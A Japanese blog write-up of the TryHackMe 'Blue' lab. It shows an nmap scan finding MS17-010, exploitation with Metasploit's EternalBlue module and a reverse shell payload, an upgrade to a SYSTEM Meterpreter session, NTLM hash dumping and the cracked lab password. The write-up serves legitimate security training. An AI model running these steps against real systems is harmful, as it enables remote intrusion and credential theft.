【TryHackMe】「Blue」のWriteUp

CTF
この記事は約16分で読めます。

TryHackMeのBlueというマシーンのWriteup。

TryHackMe | Blue
Deploy & hack into a Windows machine, leveraging common misconfigurations issues.

Blueについて

Blueは、Windowsの権限昇格などに関するコース。
ウォークスルー形式なので、そこまで迷うことなくクリアできる。
基本的に、手動攻略ではなくMetasploitを使っての進行となる。

Task1

お題は、「1000以下の開放ポートの個数を調べる」「攻撃する脆弱性を見つける」というもの。

まず、ターゲットにポートスキャンする。
今回はnmapのvulnスクリプトを使用。

$nmap -sV --script vuln thm.local
Starting Nmap 7.92 ( https://nmap.org ) at 2021-11-23 14:21 JST
Nmap scan report for thm.local (10.10.203.67)
Host is up (0.26s latency).
Not shown: 991 closed tcp ports (conn-refused)
PORT      STATE SERVICE            VERSION
135/tcp   open  msrpc              Microsoft Windows RPC
139/tcp   open  netbios-ssn        Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds       Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
3389/tcp  open  ssl/ms-wbt-server?
| rdp-vuln-ms12-020: 
|   VULNERABLE:
|   MS12-020 Remote Desktop Protocol Denial Of Service Vulnerability
|     State: VULNERABLE
|     IDs:  CVE:CVE-2012-0152
|     Risk factor: Medium  CVSSv2: 4.3 (MEDIUM) (AV:N/AC:M/Au:N/C:N/I:N/A:P)
|           Remote Desktop Protocol vulnerability that could allow remote attackers to cause a denial of service.
|           
|     Disclosure date: 2012-03-13
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0152
|       http://technet.microsoft.com/en-us/security/bulletin/ms12-020
|   
|   MS12-020 Remote Desktop Protocol Remote Code Execution Vulnerability
|     State: VULNERABLE
|     IDs:  CVE:CVE-2012-0002
|     Risk factor: High  CVSSv2: 9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C)
|           Remote Desktop Protocol vulnerability that could allow remote attackers to execute arbitrary code on the targeted system.
|           
|     Disclosure date: 2012-03-13
|     References:
|       http://technet.microsoft.com/en-us/security/bulletin/ms12-020
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0002
|_ssl-ccs-injection: No reply from server (TIMEOUT)
49152/tcp open  msrpc              Microsoft Windows RPC
49153/tcp open  msrpc              Microsoft Windows RPC
49154/tcp open  msrpc              Microsoft Windows RPC
49158/tcp open  msrpc              Microsoft Windows RPC
49159/tcp open  msrpc              Microsoft Windows RPC
Service Info: Host: JON-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: NT_STATUS_ACCESS_DENIED
|_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED
| smb-vuln-ms17-010: 
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|           
|     Disclosure date: 2017-03-14
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|       https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|_      https://technet.microsoft.com/en-us/library/security/ms17-010.aspx

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 235.55 seconds

ということで、

  • 1000以下の開放ポートは3つ
  • 攻撃する脆弱性はms17-010

でクリア。

Task2

Metasploitでリバースシェルを確立するのがミッション。
まずはMetasploitの起動。

$sudo msfdb init 
$msfconsole
...
msf6>

次に、お題として「どのexploitを使う?」というのがある。
msfconsoleでexploitを検索する。

sf6 > search ms17-010

Matching Modules
================

   #  Name                                      Disclosure Date  Rank     Check  Description
   -  ----                                      ---------------  ----     -----  -----------
   0  exploit/windows/smb/ms17_010_eternalblue  2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
   1  exploit/windows/smb/ms17_010_psexec       2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
   2  auxiliary/admin/smb/ms17_010_command      2017-03-14       normal   No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
   3  auxiliary/scanner/smb/smb_ms17_010                         normal   No     MS17-010 SMB RCE Detection
   4  exploit/windows/smb/smb_doublepulsar_rce  2017-04-14       great    Yes    SMB DOUBLEPULSAR Remote Code Execution

このように5つの候補が表示された。

これだけでは、どれがいいのかよくわからないが、正解は0番の exploit/windows/smb/ms17_010_eternalblue
なのでこれを使用する。

msf6 > use exploit/windows/smb/ms17_010_eternalblue
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > 

ウォークスルー上では、このexploitにWindows_x64用のshell系ReverseShellペイロードを使うことが示されているので、そちらもセットする。

msf6 > show payloads
...
39  payload/windows/x64/shell/reverse_tcp                                normal  No     Windows x64 Command Shell, Windows x64 Reverse TCP Stager
...
msf6 > set payload payload/windows/x64/shell/reverse_tcp
payload => windows/x64/shell/reverse_tcp

次のお題はオプションの設定。RHOSTSの値をターゲットのIPにセットする。
ついでに、ペイロード側のIPアドレス(攻撃端末)が設定されていなかったのでセット。
そして実行する。

msf6 > set RHOSTS 10.10.10.1
msf6 > set LHOST  10.10.10.2
msf6 > run
...
C:\Windows\system32>

でリバースシェル成功。

念のため補足すると、今回使ったEternalBlue脆弱性はランサムウェアが使ったことで有名だけれど、そのexploitの不安定さでも知られている。
割とシンプルなバッファオーバーフローだが、成功率はそんなに高いわけではない。
だからmetasploitでも結構な確率で失敗に終わるし、わけのわからない挙動になることもある。
とりあえずリトライすれば何とかなる。

Task3

Task3のお題は、確立したリバースシェルをmeterpreterのシェルに変換する。

meterpreterはいろいろな機能が加わったすごいシェルのこと。

まずはCTRL+Zで現在のシェルをバックグラウンドにする。

C:\Windows\system32>^Z
Background session 1? [y/N]  y
msf6 exploit(windows/smb/ms17_010_eternalblue) > 

つぎに、meterpreterのシェルをセットする必要があるので、そのパスを検索する。

msf6 exploit(windows/smb/ms17_010_eternalblue) > search shell_to_meterpreter

Matching Modules
================

   #  Name                                    Disclosure Date  Rank    Check  Description
   -  ----                                    ---------------  ----    -----  -----------
   0  post/multi/manage/shell_to_meterpreter                   normal  No     Shell to Meterpreter Upgrade

そして、meterpreterのシェルをセットする。

msf6 exploit(windows/smb/ms17_010_eternalblue) > use post/multi/manage/shell_to_meterpreter
msf6 post(multi/manage/shell_to_meterpreter) > 

設定が必要な変数を確認。

msf6 post(multi/manage/shell_to_meterpreter) > show options

Module options (post/multi/manage/shell_to_meterpreter):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   HANDLER  true             yes       Start an exploit/multi/handler to receive the connection
   LHOST                     no        IP of host that will receive the connection from the payload (Will try to au
                                       to detect).
   LPORT    4433             yes       Port for payload to connect to.
   SESSION                   yes       The session to run this module on

SESSIONの値には、meterpreterに変換するシェルのSESSION IDを入れる。そして実行。

sessions -l

Active sessions
===============

  Id  Name  Type               Information                             
  --  ----  ----               -----------                             
  1         shell x64/windows  Shell Banner: Microsoft Windows [Version
msf6 post(multi/manage/shell_to_meterpreter) > set SESSION 1
msf6 post(multi/manage/shell_to_meterpreter) > run

実行が終わればmeterpreterのセッションが確立したか確認して、そのセッションを表示。

> sessions -l

Active sessions
===============

  Id  Name  Type                     Information                             Connection
  --  ----  ----                     -----------                             ----------
  1         shell x64/windows        Shell Banner: Microsoft Windows [Versi  10.9.3.100:4444 -> 10.10.122.40:49172
                                     on 6.1.7601] -----                       (10.10.122.40)
  2         shell x64/windows        Shell Banner: Microsoft Windows [Versi  10.9.3.100:4444 -> 10.10.122.40:49197
                                     on 6.1.7601] -----                       (10.10.122.40)
  3         meterpreter x86/windows  NT AUTHORITY\SYSTEM @ JON-PC            10.9.3.100:4433 -> 10.10.122.40:49200
                                                                              (10.10.122.40)
msf6 post(multi/manage/shell_to_meterpreter) > sessions -i 3
[*] Starting interaction with 3...

meterpreter > 

(1回バグったのでmeterpreterのIDは3)

このTaskのお題としてmigrateするというのがあるけれど、それは割愛。

Task4

こちらのお題はパスワードの解析。

まずはmeterpreterでhashdumpを実行。

meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d:::

Jonのパスワードを求めよというお題が続く。

John the ripperで解析しようとしたが、うまくできなかった。
今回はCrack Stationを使う。

ということで答えはalqfna22。

Task5

flagを探すのがお題。探してダウンロードするだけなので簡単。

meterpreter > search -f *flag*
...
meterpreter > download "C:\...." /home/muchipopo/flag1.txt
...

これで終了。

まとめ

簡単なコースだと思う。

Metasploitの使い方をザックリ確認するために最適かもしれない。

コメント

タイトルとURLをコピーしました